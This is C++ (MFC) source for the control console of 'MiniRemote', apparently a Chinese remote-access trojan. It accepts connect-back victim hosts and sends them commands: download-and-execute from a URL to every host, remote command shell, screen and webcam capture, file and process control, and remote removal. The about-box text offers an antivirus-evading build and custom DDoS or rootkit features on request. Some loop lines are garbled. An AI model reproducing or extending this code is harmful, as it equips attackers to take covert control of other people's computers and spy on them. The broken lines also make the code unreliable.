www.pudn.com > mini_remote.zip > MainCtrlDlg.cpp


// MainCtrlDlg.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "MainCtrl.h" 
#include "MainCtrlDlg.h" 
#include "FileMgrDlg.h" 
#include "ProcessDlg.h" 
#include "HostSettingDlg.h" 
#include "FTPUpdateDlg.h" 
#include "UrlDownLoadDlg.h" 
#include "MakesrvDlg.h" 
 
NOTIFYICONDATA nid; 
 
void CheckSocketStatic(void *m_Dlg) 
{ 
	CMainCtrlDlg *dlg = (CMainCtrlDlg *)m_Dlg; 
	int n=dlg->m_ListCtrl.GetItemCount(); 
	for(int i=0;im_ListCtrl.GetItemData(i); 
		int nRet=send(hSocket,"d",1,NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(10); 
				continue; 
			} 
			CString str; 
			str ="[消息] 主机"+dlg->m_ListCtrl.GetItemText(i,0)+"下线了\r\n"; 
			dlg->m_sysmsg+=str; 
			dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg); 
			dlg->m_ListCtrl.DeleteItem(i); 
			n--; 
			i--; 
			str.Format("米莉远程控制v1版 --上线:%d 台",n); 
			dlg->SetWindowText(str); 
		} 
	}//end of for 
} 
 
void RemoveAllServer(void *p) 
{ 
	CMainCtrlDlg *dlg = (CMainCtrlDlg *)p; 
	dlg->KillTimer(0); 
 
	int n=dlg->m_ListCtrl.GetItemCount(); 
	if (n==0) 
	{ 
		dlg->SetTimer(0,5000,NULL); 
		return; 
	} 
 
	COMMAND_MSG msg; 
	for(int i=0;im_ListCtrl.GetItemData(i); 
		memset(&msg,0,sizeof(COMMAND_MSG)); 
		msg.msg_id = CMD_REMOVESERVER; 
		send(hSocket,(char *)&msg,sizeof(msg),NULL); 
	} 
	CString str; 
	str.Format("[消息] %d 条广播信息完成\r\n",n); 
	dlg->m_sysmsg+=str; 
	dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg); 
	dlg->SetTimer(0,5000,NULL); 
} 
 
void ListenThread(void *m_Dlg) 
{ 
	CMainCtrlDlg *dlg = (CMainCtrlDlg *)m_Dlg; 
	HKEY hKey; 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) 
	{ 
		DWORD dwType; 
		DWORD dwSize=sizeof(DWORD); 
		DWORD listen_port; 
		RegQueryValueEx(hKey,"Listen_Port",NULL,&dwType,(BYTE *)&listen_port,&dwSize); 
		RegCloseKey(hKey); 
	} 
 
	SOCKADDR_IN serverSockAddr; 
	SOCKADDR_IN clientSockAddr; 
	SOCKET serverSocket; 
	int status; 
 
	serverSockAddr.sin_port=htons(ListenPort); 
	serverSockAddr.sin_family=AF_INET; 
	serverSockAddr.sin_addr.s_addr=htonl(INADDR_ANY); 
 
	serverSocket=socket(AF_INET, SOCK_STREAM, 0); 
	status=bind(serverSocket, (LPSOCKADDR) &serverSockAddr,sizeof(serverSockAddr)); 
	if (status == SOCKET_ERROR) 
		return; 
	status=listen(serverSocket, 5); 
	if (status == SOCKET_ERROR) 
		return; 
	CString str; 
	str.Format("[消息] 成功在端口 %d 进行侦听上线连接\r\n",ListenPort); 
	dlg->m_sysmsg+=str; 
	dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg); 
 
	while(1) 
	{ 
		SOCKET clientSocket; 
		int addrLen=sizeof(SOCKADDR_IN); 
		clientSocket=accept(serverSocket,(LPSOCKADDR) &clientSockAddr,&addrLen); 
		if (clientSocket == INVALID_SOCKET) 
			continue; 
		dlg->AcceptHost(clientSocket,clientSockAddr); 
	} 
} 
 
void RecvHostInfo(void *m_Dlg) 
{ 
	CMainCtrlDlg *dlg = (CMainCtrlDlg *)m_Dlg; 
	int n = dlg->m_ListCtrl.GetItemCount()-1; 
	SOCKET hSocket = dlg->m_ListCtrl.GetItemData(n); 
	CString IP = dlg->m_ListCtrl.GetItemText(n,0); 
	HOST_INFO info; 
	 
	while(1) 
	{ 
	int nRet=recv(hSocket,(char *)&info,sizeof(HOST_INFO),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				dlg->m_ListCtrl.DeleteItem(n); 
				return; 
			} 
		} 
		else 
			break; 
	} 
	if (info.seq_checksum != 0x12345678) 
	{ 
		dlg->m_ListCtrl.DeleteItem(n); 
		return; 
	} 
	CString str = "[消息] 有主机上线了:"; 
	str += IP; 
	str += "\r\n"; 
	dlg->m_sysmsg+=str; 
	dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg); 
	str.Format("米莉远程控制v1版 --上线:%d 台",n+1); 
	dlg->SetWindowText(str); 
 
	dlg->m_ListCtrl.SetItemText(n,1,info.have_vap); 
	dlg->m_ListCtrl.SetItemText(n,2,info.host_setting); 
} 
 
void PLDownLoad(void *p) 
{ 
	CMainCtrlDlg *dlg = (CMainCtrlDlg *)p; 
	dlg->KillTimer(0); 
 
	int n=dlg->m_ListCtrl.GetItemCount(); 
	if (n==0) 
	{ 
		dlg->SetTimer(0,5000,NULL); 
		return; 
	} 
 
	COMMAND_MSG msg; 
	for(int i=0;im_ListCtrl.GetItemData(i); 
		memset(&msg,0,sizeof(COMMAND_MSG)); 
		msg.msg_id = CMD_PLURLDOWNLOAD; 
		strcpy(msg.wParam,dlg->m_pldownurl.GetBuffer(0)); 
		send(hSocket,(char *)&msg,sizeof(msg),NULL); 
		 
	} 
	CString str; 
	str.Format("[消息] %d 条广播信息完成\r\n",n); 
	dlg->m_sysmsg+=str; 
	dlg->SetDlgItemText(IDC_EDIT_MSG,dlg->m_sysmsg); 
	 
	dlg->SetTimer(0,5000,NULL); 
} 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
///////////////////////////////////////////////////////////////////////////// 
// CMainCtrlDlg dialog 
 
CMainCtrlDlg::CMainCtrlDlg(CWnd* pParent /*=NULL*/) 
	: CDialog(CMainCtrlDlg::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CMainCtrlDlg) 
	m_sysmsg = _T(""); 
	//}}AFX_DATA_INIT 
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32 
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); 
} 
 
void CMainCtrlDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CMainCtrlDlg) 
	DDX_Control(pDX, IDOK, m_btn_ok); 
	DDX_Control(pDX, IDC_VAPCTRL, m_btn_7); 
	DDX_Control(pDX, IDC_SETTING, m_btn_6); 
	DDX_Control(pDX, IDC_SCREENCATCH, m_btn_5); 
	DDX_Control(pDX, IDC_PROCESS, m_btn_4); 
	DDX_Control(pDX, IDC_HOSTINFO, m_btn_3); 
	DDX_Control(pDX, IDC_FILEMANAGER, m_btn_2); 
	DDX_Control(pDX, IDC_BUTTON_CMD, m_btn_1); 
	DDX_Control(pDX, IDC_LIST_HOST, m_ListCtrl); 
	DDX_Text(pDX, IDC_EDIT_MSG, m_sysmsg); 
	//}}AFX_DATA_MAP 
} 
 
BEGIN_MESSAGE_MAP(CMainCtrlDlg, CDialog) 
	//{{AFX_MSG_MAP(CMainCtrlDlg) 
	ON_WM_PAINT() 
	ON_WM_QUERYDRAGICON() 
	ON_BN_CLICKED(IDC_FILEMANAGER, OnFilemanager) 
	ON_BN_CLICKED(IDC_PROCESS, OnProcess) 
	ON_WM_TIMER() 
	ON_WM_LBUTTONDOWN() 
	ON_WM_DESTROY() 
	ON_BN_CLICKED(IDC_VAPCTRL, OnVapctrl) 
	ON_BN_CLICKED(IDC_SCREENCATCH, OnScreencatch) 
	ON_BN_CLICKED(IDC_SETTING, OnSetting) 
	ON_BN_CLICKED(IDC_HOSTINFO, OnHostinfo) 
	ON_BN_CLICKED(IDC_BUTTON_CMD, OnButtonCmd) 
	//}}AFX_MSG_MAP 
 
	ON_MESSAGE(UM_ICONNOTIFY, OnIconNotify) 
	 
	ON_COMMAND(IDM_ABOUTME, OnMyNotice) 
	ON_COMMAND(IDM_ABOUTSOFT, OnAboutSoft) 
	ON_COMMAND(IDM_HELP, OnHelp) 
	ON_COMMAND(IDM_EXIT, OnExit) 
	ON_COMMAND(IDM_LOCALSETTING, OnLocalSetting) 
	ON_COMMAND(IDM_REMOVEALL, OnRemoveAll) 
	ON_COMMAND(IDM_MAKESERVER, OnMakeServer) 
	ON_COMMAND(IDM_PLDOWN, OnPLdwonLoad) 
	 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CMainCtrlDlg message handlers 
 
void CMainCtrlDlg::OnIconNotify(WPARAM wParam, LPARAM lParam) 
{ 
	switch ((UINT)lParam) 
	{ 
	case WM_LBUTTONDOWN: // click or dbclick left button on icon 
	case WM_LBUTTONDBLCLK: // should show desktop 
		if (!IsWindowVisible())  
			ShowWindow(SW_SHOW); 
		else 
			ShowWindow(SW_HIDE); 
		break; 
	case WM_RBUTTONDOWN: // click right button, show menu 
		CMenu menu; 
		menu.LoadMenu(IDR_MENU_NOTIFY); 
		CPoint point; 
		GetCursorPos(&point); 
		SetForegroundWindow(); 
		menu.GetSubMenu(0)->TrackPopupMenu( 
			TPM_LEFTBUTTON|TPM_RIGHTBUTTON,  
			point.x, point.y, this, NULL);  
		PostMessage(WM_USER, 0, 0); 
		break; 
	} 
} 
 
void CMainCtrlDlg::OnMyNotice() 
{ 
	CString str; 
	str="本软件为免费软件,纯属学习研究之用!!!请勿\r\n"; 
	str+="将其用于非法用途。由本软件引起的任何后果\r\n"; 
	str+="均由使用者本人承担,软件作者概不承担任何责任。\r\n\r\n"; 
	str+="该软件可能会被杀毒软件查杀。如果想要个人免杀\r\n"; 
	str+="版的话可以联系我QQ:375858876\r\n发现BUG的话请及时反馈给我,谢谢!\r\n我的邮箱:plunix@163.com\r\n\r\n\r\n"; 
	str+="by 特南克斯"; 
	MessageBox(str,"重要声明",MB_ICONINFORMATION); 
} 
void CMainCtrlDlg::OnAboutSoft() 
{ 
	CString str; 
	str+="!!!!该版本为正式版!!!\r\n"; 
	str+="屏幕控制还不怎么完善,而且还可能存在一些\r\n"; 
	str+="BUG,如果发现BUG的同志们请及时联系我啊,万分\r\n"; 
	str+="感谢~~\r\n\r\n"; 
	str+="我的联系QQ:375858876\r\n"; 
	str+="我的联系邮箱:plunix@163.com\r\n"; 
	MessageBox(str,"关于...",MB_ICONINFORMATION); 
} 
void CMainCtrlDlg::OnHelp() 
{ 
	char Path[MAX_PATH]; 
	GetTempPath(MAX_PATH,Path); 
	strcat(Path,"\\Help.chm"); 
	LoadSource(IDR_HELPHTM,"HELPHTM",Path); 
	ShellExecute(NULL,"open",Path,NULL,NULL,SW_SHOW); 
} 
 
void CMainCtrlDlg::OnMakeServer() 
{ 
	CMakesrvDlg dlg; 
	dlg.DoModal(); 
} 
 
BOOL CMainCtrlDlg::OnInitDialog() 
{ 
	CDialog::OnInitDialog(); 
	SetIcon(m_hIcon, TRUE);	 
	SetIcon(m_hIcon, FALSE); 
	m_btn_ok.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_ok.SetFontColor(RGB(100,50,280)); 
	m_btn_1.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_1.SetFontColor(RGB(100,50,280)); 
	m_btn_2.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_2.SetFontColor(RGB(100,50,280)); 
	m_btn_3.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_3.SetFontColor(RGB(100,50,280)); 
	m_btn_4.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_4.SetFontColor(RGB(100,50,280)); 
	m_btn_5.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_5.SetFontColor(RGB(100,50,280)); 
	m_btn_6.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_6.SetFontColor(RGB(100,50,280)); 
	m_btn_7.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_7.SetFontColor(RGB(100,50,280)); 
 
 
	nid.cbSize = sizeof(nid); 
	nid.hWnd = m_hWnd;  
	nid.uID = IDR_MAINFRAME;  
	nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; 
	nid.uCallbackMessage = UM_ICONNOTIFY; 
	nid.hIcon = m_hIcon; 
	CString str = "显示界面"; 
	lstrcpyn(nid.szTip, (LPCSTR)str, sizeof(nid.szTip) / sizeof(nid.szTip[0])); 
	Shell_NotifyIcon(NIM_ADD, &nid); 
 
	LONG lStyle = m_ListCtrl.SendMessage(LVM_GETEXTENDEDLISTVIEWSTYLE); 
	lStyle |= LVS_EX_GRIDLINES | LVS_EX_FULLROWSELECT; 
	m_ListCtrl.SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE, 0,(LPARAM)lStyle); 
	 
	LV_COLUMN lvc; 
	lvc.mask = LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH; 
 
	lvc.iSubItem = 0; 
	lvc.pszText = (char *)"上线主机IP"; 
	lvc.cx = 100; 
	m_ListCtrl.InsertColumn(0,&lvc); 
 
	lvc.iSubItem = 1; 
	lvc.pszText = (char *)"视频"; 
	lvc.cx = 50; 
	m_ListCtrl.InsertColumn(1,&lvc); 
 
	lvc.iSubItem =2; 
	lvc.pszText = (char *)"备注"; 
	lvc.cx = 260; 
	m_ListCtrl.InsertColumn(2,&lvc); 
 
	HKEY hKey; 
	DWORD listen_port; 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) 
	{ 
		DWORD dwType; 
		DWORD dwSize=sizeof(DWORD); 
		if (RegQueryValueEx(hKey,"Listen_Port",NULL,&dwType,(BYTE *)&listen_port,&dwSize) == ERROR_SUCCESS) 
			ListenPort = listen_port; 
		RegCloseKey(hKey); 
	} 
	else 
	{ 
		HKEY hKey; 
		DWORD dw; 
		DWORD listen_port = 12345; 
		ListenPort = listen_port; 
		RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw); 
		RegSetValueEx(hKey,"Listen_Port",0L,REG_DWORD,(const BYTE *) &listen_port,sizeof(DWORD)); 
		DWORD ext_port = 65521; 
		RegSetValueEx(hKey,"Extination_Port",0L,REG_DWORD,(const BYTE *)&ext_port,sizeof(DWORD)); 
		RegCloseKey(hKey); 
		 
	} 
	 
 
	LT = AfxBeginThread((AFX_THREADPROC)ListenThread,this); 
	SetTimer(0,5000,NULL); 
	return TRUE; 
} 
void CMainCtrlDlg::OnPaint()  
{ 
	if (IsIconic()) 
	{ 
		CPaintDC dc(this); 
		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); 
		int cxIcon = GetSystemMetrics(SM_CXICON); 
		int cyIcon = GetSystemMetrics(SM_CYICON); 
		CRect rect; 
		GetClientRect(&rect); 
		int x = (rect.Width() - cxIcon + 1) / 2; 
		int y = (rect.Height() - cyIcon + 1) / 2; 
		dc.DrawIcon(x, y, m_hIcon); 
	} 
	else 
	{ 
		CDialog::OnPaint(); 
	} 
} 
HCURSOR CMainCtrlDlg::OnQueryDragIcon() 
{ 
	return (HCURSOR) m_hIcon; 
} 
void CMainCtrlDlg::OnOK() {} 
 
void CMainCtrlDlg::OnExit()  
{ 
	Shell_NotifyIcon(NIM_DELETE, &nid);	 
	exit(0); 
} 
 
void CMainCtrlDlg::OnPLdwonLoad() 
{ 
	int n=m_ListCtrl.GetItemCount(); 
	if (n==0) 
		return; 
 
	CUrlDownLoadDlg dlg; 
	if (dlg.DoModal() == IDOK) 
	{ 
		m_pldownurl = dlg.m_url; 
		AfxBeginThread((AFX_THREADPROC)PLDownLoad,this); 
	} 
} 
void CMainCtrlDlg::OnRemoveAll() 
{ 
	AfxBeginThread((AFX_THREADPROC)RemoveAllServer,this); 
} 
void CMainCtrlDlg::OnLocalSetting() 
{ 
	CFTPUpdateDlg dlg; 
	dlg.DoModal(); 
} 
 
BOOL CMainCtrlDlg::LoadSource(UINT resoure_id , const char * type , const char * filepath) 
{ 
	HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type ); 
	if( hRsrc ) 
	{ 
		DWORD size = ::SizeofResource( NULL , hRsrc ); 
		HGLOBAL  handle = ::LoadResource( NULL , hRsrc );     
		if( handle ) 
		{ 
			BYTE *MemPtr = (BYTE *)LockResource( handle );  
			CFile file; 
			if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) ) 
			{ 
				file.Write( MemPtr , size ); 
				file.Close( ); 
			} 
			::UnlockResource( handle ); 
		} 
		::FreeResource( handle ); 
		return TRUE; 
	} 
	return FALSE; 
} 
 
 
void CMainCtrlDlg::AcceptHost(SOCKET cs, SOCKADDR_IN csa) 
{ 
	SOCKET s = cs; 
	SOCKADDR_IN addr = csa; 
	char *IP = inet_ntoa(addr.sin_addr); 
	int n=m_ListCtrl.GetItemCount(); 
	m_ListCtrl.InsertItem(n,IP); 
	m_ListCtrl.SetItemData(n,s); 
	AfxBeginThread((AFX_THREADPROC)RecvHostInfo,this); 
} 
 
void CMainCtrlDlg::OnFilemanager()  
{ 
	POSITION pos; 
	pos = m_ListCtrl.GetFirstSelectedItemPosition(); 
	if (pos == NULL) 
	{ 
		return; 
	} 
	int Index = m_ListCtrl.GetNextSelectedItem(pos); 
	CFileMgrDlg dlg; 
	dlg.strIP= m_ListCtrl.GetItemText(Index,0); 
	dlg.m_hConnectSocket = m_ListCtrl.GetItemData(Index); 
	dlg.DoModal(); 
} 
 
void CMainCtrlDlg::OnProcess()  
{ 
	POSITION pos; 
	pos = m_ListCtrl.GetFirstSelectedItemPosition(); 
	if (pos == NULL) 
	{ 
		return; 
	} 
	int Index = m_ListCtrl.GetNextSelectedItem(pos); 
	CProcessDlg dlg; 
	dlg.strIP= m_ListCtrl.GetItemText(Index,0); 
	dlg.m_hConnectSocket = m_ListCtrl.GetItemData(Index); 
	dlg.DoModal(); 
} 
 
void CMainCtrlDlg::OnTimer(UINT nIDEvent)  
{ 
	AfxBeginThread((AFX_THREADPROC)CheckSocketStatic,this); 
	CDialog::OnTimer(nIDEvent); 
} 
 
void CMainCtrlDlg::OnLButtonDown(UINT nFlags, CPoint point)  
{ 
	::SendMessage(this->GetSafeHwnd(),WM_SYSCOMMAND,SC_MOVE+HTCAPTION,0); 
	CDialog::OnLButtonDown(nFlags, point); 
} 
 
void CMainCtrlDlg::OnDestroy()  
{ 
	Shell_NotifyIcon(NIM_DELETE, &nid);	 
	CDialog::OnDestroy(); 
} 
 
void CMainCtrlDlg::OnVapctrl()  
{ 
	POSITION pos; 
	pos = m_ListCtrl.GetFirstSelectedItemPosition(); 
	if (pos == NULL) 
		return; 
	int Index = m_ListCtrl.GetNextSelectedItem(pos); 
	SOCKET m_hConnectSocket=m_ListCtrl.GetItemData(Index); 
 
	char Path[MAX_PATH]; 
	GetTempPath(MAX_PATH,Path); 
	strcat(Path,"\\vcap.exe"); 
	LoadSource(IDR_VCAP,"VCAP",Path); 
	WinExec(Path,SW_SHOW); 
 
	HKEY hKey; 
	DWORD ext_port = 65521; 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) 
	{ 
		DWORD dwType; 
		DWORD dwSize=sizeof(DWORD); 
		if (RegQueryValueEx(hKey,"Extination_Port",NULL,&dwType,(BYTE *)&ext_port,&dwSize) != ERROR_SUCCESS) 
			ext_port = 65521; 
		RegCloseKey(hKey); 
	} 
	else 
		ext_port = 65521; 
 
	COMMAND_MSG msg; 
	memset(&msg,0,sizeof(COMMAND_MSG)); 
	msg.msg_id = CMD_VIDEOCAPPREW; 
	msg.lParam=ext_port; 
	while(1) 
	{ 
		int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
				return; 
		} 
		else break; 
	} 
} 
 
void CMainCtrlDlg::OnScreencatch()  
{ 
	POSITION pos; 
	pos = m_ListCtrl.GetFirstSelectedItemPosition(); 
	if (pos == NULL) 
		return; 
	int Index = m_ListCtrl.GetNextSelectedItem(pos); 
	SOCKET m_hConnectSocket=m_ListCtrl.GetItemData(Index); 
 
// 
	char Path[MAX_PATH]; 
	GetTempPath(MAX_PATH,Path); 
	strcat(Path,"\\DeskTopViewer.exe"); 
	LoadSource(IDR_DESKTOPVIEWER,"DESKTOPVIEWER",Path); 
	WinExec(Path,SW_SHOW); 
 
	HKEY hKey; 
	DWORD ext_port = 65521; 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) 
	{ 
		DWORD dwType; 
		DWORD dwSize=sizeof(DWORD); 
		if (RegQueryValueEx(hKey,"Extination_Port",NULL,&dwType,(BYTE *)&ext_port,&dwSize) != ERROR_SUCCESS) 
			ext_port = 65521; 
		RegCloseKey(hKey); 
	} 
	else 
		ext_port = 65521; 
 
	COMMAND_MSG msg; 
	memset(&msg,0,sizeof(COMMAND_MSG)); 
	msg.msg_id = CMD_REMOTEDESK; 
	msg.lParam=ext_port; 
	while(1) 
	{ 
		int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				return; 
			} 
		} 
		else break; 
	} 
} 
 
void CMainCtrlDlg::OnSetting()  
{ 
	POSITION pos; 
	pos = m_ListCtrl.GetFirstSelectedItemPosition(); 
	if (pos == NULL) 
		return; 
	int Index = m_ListCtrl.GetNextSelectedItem(pos); 
	CHostSettingDlg dlg; 
	if (dlg.DoModal() != IDOK) 
		return; 
	CString str; 
	str=dlg.m_setting; 
	SOCKET m_hConnectSocket = m_ListCtrl.GetItemData(Index); 
	COMMAND_MSG msg; 
	memset(&msg,0,sizeof(COMMAND_MSG)); 
	msg.msg_id = CMD_SETTING; 
	strcpy(msg.wParam,str.GetBuffer(0)); 
	while(1) 
	{ 
		int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
				return; 
		} 
		else 
		{ 
			m_ListCtrl.SetItemText(Index,3,str); 
			return; 
		} 
	} 
} 
 
void CMainCtrlDlg::OnHostinfo()  
{ 
	CString str; 
	str="其他的功能,暂时还没有想到要\r\n"; 
	str+="加什么。可以定做!这里留个\r\n"; 
	str+="空出来给一些有特别要求的人\r\n"; 
	str+="比如说DDOS功能,ROOTKIT隐藏\r\n"; 
	str+="IE进程等。\r\n"; 
	MessageBox(str,"呵呵",MB_OK); 
} 
 
void CMainCtrlDlg::OnButtonCmd()  
{ 
	POSITION pos; 
	pos = m_ListCtrl.GetFirstSelectedItemPosition(); 
	if (pos == NULL) 
		return; 
	int Index = m_ListCtrl.GetNextSelectedItem(pos); 
	SOCKET m_hConnectSocket=m_ListCtrl.GetItemData(Index); 
	 
	char Path[MAX_PATH]; 
	GetTempPath(MAX_PATH,Path); 
	strcat(Path,"\\RemoteCmd.exe"); 
	LoadSource(IDR_REMOTECMD,"REMOTECMD",Path); 
	WinExec(Path,SW_SHOW); 
	 
	HKEY hKey; 
	DWORD ext_port = 65521; 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) 
	{ 
		DWORD dwType; 
		DWORD dwSize=sizeof(DWORD); 
		if (RegQueryValueEx(hKey,"Extination_Port",NULL,&dwType,(BYTE *)&ext_port,&dwSize) != ERROR_SUCCESS) 
			ext_port = 65521; 
		RegCloseKey(hKey); 
	} 
 
	COMMAND_MSG msg; 
	memset(&msg,0,sizeof(COMMAND_MSG)); 
	msg.msg_id = CMD_REMOTECMDCTRL; 
	msg.lParam=ext_port; 
	while(1) 
	{ 
		int nRet=send(m_hConnectSocket,(char *)&msg,sizeof(msg),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				return; 
			} 
		} 
		else break; 
	} 
}